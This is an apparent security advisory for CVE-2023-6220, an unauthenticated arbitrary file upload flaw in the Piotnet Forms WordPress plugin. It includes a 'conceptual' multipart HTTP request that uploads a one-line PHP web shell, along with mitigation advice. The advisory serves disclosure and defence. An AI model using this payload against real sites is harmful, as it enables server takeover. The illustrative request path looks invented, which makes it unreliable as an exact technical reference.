Overview
In the continually evolving landscape of cybersecurity, it’s crucial to stay updated on the latest vulnerabilities that could pose a threat to your data and systems. One such vulnerability has been identified in the Piotnet Forms plugin for WordPress. This vulnerability, listed as CVE-2023-6220, could potentially allow unauthenticated attackers to upload arbitrary files on the WordPress website’s server. This is due to insufficient file type validation in a specific function of the plugin. It’s an issue that could lead to remote code execution, potentially compromising your system or leading to data leakage.
Vulnerability Summary
CVE ID: CVE-2023-6220
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Piotnet Forms | Up to and including 1.0.26
How the Exploit Works
The vulnerability lies within the ‘piotnetforms_ajax_form_builder’ function of the Piotnet Forms plugin for WordPress. This function does not adequately validate the file types being uploaded, thus making it possible for an attacker to upload arbitrary files. An unauthenticated attacker could exploit this vulnerability by sending a specially crafted request to the server hosting the WordPress site. Once the arbitrary file is uploaded, this could potentially allow the attacker to execute code remotely on the server, compromising the system and possibly leading to data leakage.
Conceptual Example Code
Here’s a conceptual HTTP request that an attacker might use to exploit this vulnerability:
POST /wp-content/plugins/piotnet-forms/ajax-form-builder.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this conceptual example, the attacker is uploading a PHP file that includes a command to execute shell commands. Once uploaded, the attacker can execute arbitrary commands by calling the uploaded file with an appropriate ‘cmd’ parameter.
Mitigation Guidance
The best mitigation strategy for this vulnerability is to apply the vendor patch as soon as it becomes available. As a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could help detect and prevent exploitation attempts. However, these measures will not eliminate the vulnerability and should be considered as temporary solutions until the patch is applied.